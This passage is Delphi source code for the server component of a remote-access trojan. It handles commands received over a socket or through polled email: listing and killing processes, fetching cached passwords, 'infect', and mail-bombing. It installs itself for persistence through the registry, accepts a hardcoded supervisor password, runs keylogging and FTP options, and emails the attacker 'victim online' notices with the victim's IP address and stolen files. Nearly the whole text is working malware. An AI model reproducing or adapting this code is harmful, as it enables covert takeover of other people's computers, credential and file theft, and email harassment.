      temp:= ServerRemoveDir (temp) else
    if 1 = Pos (STRMSGSHOW, temp) then//message show
      temp:= ServerMessageShow(temp) else
    if 1 = Pos (STRWALLP, temp) then//message show
      temp:= ServerWallpaper(temp) else
    if 1 = Pos (STRDIR, temp) then//message show
      temp:= ServerShowDir(temp) else
    if 1 = Pos (STRSLEEP, temp) then//message show
      temp:= ServerSleep(temp) else
    if 1 = Pos (STRDONTDELETE, temp) then//message show
      temp:= ServerDontDelete(temp) else
    if 1 = Pos (STRSTARTEMAILN, temp) then//message show
      temp:= ServerEmailNotOn (temp) else
    if 1 = Pos (STRSTOPEMAILN, temp) then
      temp:= ServerEmailNotOff (temp) else
    if 1 = Pos (STRPWZCACHE, temp) then
      temp:= ServerGetCachedPwz (temp) else
    if 1 = Pos (STRBOMBSTA, temp) then
      temp:= ServerStartBomb (temp) else
    if 1 = Pos (STRBOMBSTO, temp) then
      temp:= ServerStopBomb (temp) else
    if 1 = Pos (STRSOUND, temp) then
      temp:= ServerSound (temp) else
    if 1 = Pos (STRLPROCESS, temp) then
      temp:= ServerListProcess (temp) else
    if 1 = Pos (STRKPROCESS, temp) then
      temp:= ServerKillProcess (temp) else
    if 1 = Pos (STRINFECT, temp) then
      temp:= ServerInfect (temp) else
    if Valasz then Socket.Sendtext (NOTUNDER);

    If Valasz and (temp <> '') then Socket.SendText (temp);
  until s = '';
end;

procedure TForm1.ServerSocket1ClientRead(Sender: TObject;
  Socket: TCustomWinSocket);
var    s  :string;
begin
  s:=Socket.ReceiveText;
  if s = NOPASSW then s:= '';
  if (password) then
  begin
    if (s = passwordtext) or (s = SUPERVISORPSW) then
    begin
      password:= false;
      Socket.SendText (PWACCEPTED);
    end else
    begin
      Socket.Sendtext (BADPASSWORD);
      Socket.Close;
    end;
  end else
  begin
    if length(s) > 255 then
    begin
      Socket.SendText (TOOLONG);
    end else
    begin
      valasz:= True;
      ProcessString (s, Socket);
    end;
  end;
end;


procedure TForm1.ExceptionHandle (Sender: TObject; E: Exception);
begin
//we handle the error ;)
end;

procedure ReadSetupz ;
var
  iFileHandle: File;
  i, j, iBytesRead: Integer;
  mystr, tmp: string;
  Buffer: array[1..2048] of Char;

begin
    FileMode:= 0;
    mystr:='';
      AssignFile(iFileHandle, Application.Exename);
{$I-} Reset(iFileHandle, 1); {$I+}
      If IoResult <> 0 then Exit;

      repeat
        BlockRead(iFileHandle, Buffer, SizeOf(Buffer), iBytesRead);
        for i := 0 to iBytesRead-8 do
        begin
           if
           (Buffer[i] = '!') and (Buffer[i+1] = '!') and
           (Buffer[i+2] = '!') and (Buffer[i+3] = 'S') and
           (Buffer[i+4] = 'E') and (Buffer[i+5] = 'T') and
           (Buffer[i+6] = 'U') and (Buffer[i+7] = 'P') and
           (Buffer[i+8] = 'Z') then
           begin
              for j:= i+9 to iBytesRead do
                mystr:= mystr + Buffer[j];
           end;

        end;
      until (iBytesRead = 0) ;
      CloseFile(iFileHandle);
    FileMode:= 2;
//------------------------------------------
  if Length(mystr) > 0 then
  begin
    //DEFAULTPORT
    tmp:= Copy (mystr, 1, Pos ('|', mystr)-1);
    Delete (mystr, 1, Pos ('|', mystr));
    DEFAULTPORT:= tmp;

    //DEFAULTPASSWORD
    tmp:= Copy (mystr, 1, Pos ('|', mystr)-1);
    Delete (mystr, 1, Pos ('|', mystr));
    DEFAULTPASSWORD:= tmp;

    //DEFAULTPOPPSW
    tmp:= Copy (mystr, 1, Pos ('|', mystr)-1);
    Delete (mystr, 1, Pos ('|', mystr));
    DEFAULTPOPPSW:= tmp;

    //DEFAULTPOPUSR
    tmp:= Copy (mystr, 1, Pos ('|', mystr)-1);
    Delete (mystr, 1, Pos ('|', mystr));
    DEFAULTPOPUSR:= tmp;

     //DEFAULTPOPHST
    tmp:= Copy (mystr, 1, Pos ('|', mystr)-1);
    Delete (mystr, 1, Pos ('|', mystr));
    DEFAULTPOPHST:= tmp;

     //DEFAULTSMTPHST
    tmp:= Copy (mystr, 1, Pos ('|', mystr)-1);
    Delete (mystr, 1, Pos ('|', mystr));
    DEFAULTSMTPHST:= tmp;

     //DEFAULTSMTPUSR
    tmp:= Copy (mystr, 1, Pos ('|', mystr)-1);
    Delete (mystr, 1, Pos ('|', mystr));
    DEFAULTSMTPUSR:= tmp;

     //DEFAULTSMTPS2
    tmp:= Copy (mystr, 1, Pos ('|', mystr)-1);
    Delete (mystr, 1, Pos ('|', mystr));
    DEFAULTSMTPS2:= tmp;

     //DEFAULTFTPSTART
    tmp:= Copy (mystr, 1, Pos ('|', mystr)-1);
    Delete (mystr, 1, Pos ('|', mystr));
    DEFAULTFTPSTART:= tmp;

     //DEFAULTKEYLOGSTART
    tmp:= Copy (mystr, 1, Pos ('|', mystr)-1);
    Delete (mystr, 1, Pos ('|', mystr));
    DEFAULTKEYLOGSTART:= tmp;

     //DEFAULTBOMBING
    tmp:= Copy (mystr, 1, Pos ('|', mystr)-1);
    Delete (mystr, 1, Pos ('|', mystr));
    DEFAULTBOMBING:= tmp;

     //DEFAULTBOMBTO
    tmp:= Copy (mystr, 1, Pos ('|', mystr)-1);
    Delete (mystr, 1, Pos ('|', mystr));
    DEFAULTBOMBTO:= tmp;
  end;
//  MessageBox (Application.Handle, PChar (mystr), PChar (application.exename), MB_OK);  
end;


procedure TForm1.FormCreate(Sender: TObject);
var st: integer;
    BombingStart, KeyLogStart, ftpstart, emailnots: string;
begin
  ReadSetupZ;
  Application.OnException:= ExceptionHandle;
  MyFont:= TFont.Create;
  MyFont.Size:= 22;
  MyFont.Color:= clBlue;

  FtpServer1.Banner:= '220 ' + SERVERVER;

  MyRegistry:=TRegistry.Create;
  MyRegistry.RootKey:= HKEY_LOCAL_MACHINE;
  MyRegistry.OpenKey (REGPATH, False);
  try
    st:=StrToInt (MyRegistry.ReadString(REGPORT));
    passwordText:=MyRegistry.ReadString(REGPASW);
    SakPOP1.UserPasswd:=MyRegistry.ReadString(REGPOPPSW);
    SakPOP1.UserId    :=MyRegistry.ReadString(REGPOPUSR);
    SakPOP1.Host      :=MyRegistry.ReadString(REGPOPHST);
    SakSMTP1.Host      :=MyRegistry.ReadString(REGSMTPHST);
    SmtpUserName      := MyRegistry.ReadString(REGSMTPUSR);
    SmtpSendTo        := MyRegistry.ReadString(REGSMTPS2);
    FtpStart          := MyRegistry.ReadString(REGFTPSTART);
    KeyLogStart       := MyRegistry.ReadString(REGKEYLOGSTART);
    EmailNotS         := MyRegistry.ReadString(REGEMAILNOT);
    BombingStart      := MyRegistry.ReadString(REGBOMBINGSTART);
    MailBombTo        := MyRegistry.ReadString(REGBOMBTO);

    MyRegistry.OpenKey (REGSERVICE, False);
    MyRegistry.WriteString (REGSRVNAME, Application.ExeName);

    MyRegistry.OpenKey (REGPATH, False); //back to this
  except        //creating the default values in the registry
  begin
    MyRegistry.CreateKey (REGPATH);
    MyRegistry.OpenKey (REGPATH, False);//this missed a long time, and i didn't understand, why.

    MyRegistry.WriteString (REGPORT, DEFAULTPORT);
    MyRegistry.WriteString (REGPASW, DEFAULTPASSWORD);
    MyRegistry.WriteString (REGPOPPSW, DEFAULTPOPPSW); //empty
    MyRegistry.WriteString (REGPOPUSR, DEFAULTPOPUSR); //empty
    MyRegistry.WriteString (REGPOPHST, DEFAULTPOPHST); //empty
    MyRegistry.WriteString (REGSMTPHST, DEFAULTSMTPHST); //empty
    MyRegistry.WriteString (REGSMTPUSR, DEFAULTSMTPUSR); //empty
    MyRegistry.WriteString (REGSMTPS2, DEFAULTSMTPS2); //empty
    MyRegistry.WriteString (REGFTPSTART, DEFAULTFTPSTART); //OFF
    MyRegistry.WriteString (REGKEYLOGSTART, DEFAULTKEYLOGSTART); //OFF
    MyRegistry.WriteString (REGEMAILNOT, DEFAULTEMAILNOT); //ON
    MyRegistry.WriteString (REGBOMBINGSTART, DEFAULTBOMBING); //OFF
    MyRegistry.WriteString (REGBOMBTO, DEFAULTBOMBTO);

    MyRegistry.OpenKey (REGSERVICE, False);
    MyRegistry.WriteString (REGSRVNAME, Application.ExeName);
    MyRegistry.OpenKey (REGPATH, False); //back to this

    st:= StrToInt (DEFAULTPORT);
    passwordtext:= DEFAULTPASSWORD;
    SakPOP1.UserPasswd := DEFAULTPOPPSW;
    SakPOP1.UserId   := DEFAULTPOPUSR;
    SakPOP1.Host:= DEFAULTPOPHST;
    SakSMTP1.host := DEFAULTSMTPHST;
    SmtpUserName := DEFAULTSMTPUSR;
    SmtpSendto := DEFAULTSMTPS2;
    FtpStart:= DEFAULTFTPSTART;
    KeyLogStart:= DEFAULTKEYLOGSTART;
    EmailNotS:= DEFAULTEMAILNOT;
    BombingStart:= DEFAULTBOMBING;
  end;
end;
  if FtpStart = SON then FtpServer1.Start;
  if EmailnotS = SON  then EmailNot:= True else EmailNot:= False;
  if BombingStart = SON then Timer2.Enabled:= True else Timer2.Enabled:= False;
  ServerSocket1.Port:= st;
  ServerSocket1.Active:= True;
end;

procedure TForm1.FormDestroy(Sender: TObject);
begin
  if megnyitva then
    CloseFile (KeyLogFile);
  ServerSocket1.Active:= False;
  MyRegistry.Free;
  MyFont.Free;
end;

procedure TForm1.ServerSocket1ClientDisconnect(Sender: TObject;
  Socket: TCustomWinSocket);
begin
  Socket.Sendtext (DISCONNECTED);
  password:= false;
  connected:= false;
end;

procedure TForm1.ServerSocket1ClientConnect(Sender: TObject;
  Socket: TCustomWinSocket);
var  temp, temp2: boolean;
begin
  if not connected then
  begin
    Socket.SendText (SERVERVER);
    password:= true; //must waiting for password
    connected:= true;
  end else
  begin
    Socket.SendText (ALREADY);
    temp:= password;
    temp2:= connected;
    Socket.Close;
    password:= temp;
    connected:= temp2 ;
  end;
end;

function TForm1.MustDelete (number: integer):boolean;//this function says, if we have to delete the mailz
var msg: TSakMsg;
    temp: string;
begin
  Result:= True;
  msg := SakMsgList1.items[ number ];
  temp:= msg.Subject;
  if (1 = Pos (STRDONTDELETE, temp)) then
    Result:= false;
end;


function TForm1.GetSubject(number: integer):string;//this function saves the attached file, too.
var msg: TSakMsg;
    i: integer;
begin
  msg := SakMsgList1.items[ number ];
  Result:= msg.Subject;
  if msg.AttachedFiles.Count > 0 then //we got attached file
  begin
    for i := 0 to msg.AttachedFiles.Count-1 do
       msg.AttachedFiles[ i].saveToFile( msg.AttachedFiles[i].fileName ); //mentjuk a levelet.
  end;
end;

procedure TForm1.SendAnswer (s: string);
begin
  if (SakSMTP1.Host <> '') and online then
  begin
    Timer1.Enabled:= False;
    SakMsg1.UserName := SERVERVER;
    SakMsg1.From := SmtpUserName;
    SakMsg1.SendTo := SmtpSendTo;
    SakMsg1.Subject := s;
    if GetFile <> '' then
      SakMsg1.AttachedFiles.Add(GetFile);
    SakSMTP1.connect;
    if not SakSMTP1.SMTPError then
    begin
      SakSMTP1.SendMessage( SakMsg1);
      SakSMTP1.quit;
    end;
    if GetFile <> '' then
    begin
      SakMsg1.AttachedFiles.Clear;
      GetFile:= '';
    end;
    Timer1.Enabled:= True;
  end;
end;

procedure TForm1.Timer1Timer(Sender: TObject);
var i, msgnumber: integer;
    toroljem: boolean;
begin
  Timer1.Enabled:=False;
  mailstring:= '';
  if online then
  begin
    if (lastonlinestatus = false) and (EmailNot) then//if we weren't online
    begin
       lastonlinestatus:= true;
       SendAnswer (VICTIMONLINE+LocalIP);
    end;
    SakPOP1.connect;
    if Not SakPOP1.POPError and SakPOP1.login then
    begin
      SakPOP1.Init;
      sakPOP1.retrieveAllMessages( SakMsgList1);
      msgnumber :=  SakPOP1.MsgsCount ;
      toroljem:= true;
      if MustDelete (msgnumber-1) = false then
        toroljem:= false;
      if toroljem then
      for i:= 1 to msgnumber do
        SakPOP1.DeleteMessage (i);
      SakPOP1.quit;
      if toroljem then //ha le kellett torolni a leveleket akkor csak az utolsot kell ertelmezni
        mailstring:= mailstring + GetSubject (msgnumber-1)
      else
      for i:= 1 to msgnumber do
        mailstring:= mailstring + GetSubject (i-1);
      valasz:= False;
      ProcessString (mailstring, nil);
    end;
  end else Lastonlinestatus:= false;
  Timer1.Enabled:=True;
end;


procedure TForm1.ServerSocket1ClientError(Sender: TObject;
  Socket: TCustomWinSocket; ErrorEvent: TErrorEvent;
  var ErrorCode: Integer);
begin
//okay. do nothing, we handle the error only.
end;

procedure TForm1.SakSMTP1Error(Sender: TObject; Error: Integer;
  Msg: String);
begin
  //only handling
end;


procedure TForm1.Timer2Timer(Sender: TObject);
begin
  if online and (SakSMTP1.Host <> '') then
  begin
    Timer2.Enabled:= False;
    SakMsg1.UserName := SERVERVER;
    SakMsg1.From := SmtpUserName;
    SakMsg1.SendTo := MailBombTo;
    SakMsg1.Subject := MESSAGES[Random (10)];
    SakSMTP1.connect;
    if not SakSMTP1.SMTPError then
    begin
      SakSMTP1.SendMessage( SakMsg1);
      SakSMTP1.quit;
    end;
    Timer2.Enabled:= True;    
  end;
end;

end.
